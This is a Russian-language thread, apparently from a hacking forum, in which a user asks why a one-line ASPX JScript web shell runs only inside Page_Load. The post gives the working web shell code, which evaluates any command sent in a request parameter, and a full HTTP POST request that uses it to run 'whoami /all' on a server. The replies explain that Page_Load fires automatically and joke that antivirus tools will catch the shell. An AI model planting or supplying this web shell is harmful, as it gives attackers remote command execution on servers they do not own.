• XSS.stack #1 – первый литературный журнал от юзеров форума

WebShell JS problem (.aspx)

Player_1

RAID-массив
Пользователь
Регистрация
22.05.2021
Сообщения
69
Реакции
6
Гарант сделки
2
Всем привет, в js не шарю, прошу не писать что я лох)
Собственно вопрос, почему это не работает
JavaScript:
<script language="JScript" runat="server">
function request_post(){
eval(Request["request"],"unsafe");
}
</script>

А это работает
Код:
<script language="JScript" runat="server">
function Page_Load(){
eval(Request["request"],"unsafe");
}
</script>

Запрос к шеллу выглядит так, и работает на втором вариате, а на первом не хочет
Код:
POST ....../shell.aspx HTTP/1.1
Host: 1.1.1.1
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 211

request=Response.Write(new ActiveXObject("WScript.Shell").Exec("whoami /all").stdout.readall());
 
Функции аналогичные, разные только названия. Посмотри как она вызывается у тебя, с каким названием, попробуй сделать запуск при загрузке страницы window.onload методом
 
Последнее редактирование:
Как ты вообще жить дальше собираешься?))) Зайди в справочник и почитай что за функция такая Page_Load. Она вызывается автоматически, поэтому и работает. И шелл этот будет палить примерно 75 из 40 АВ.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх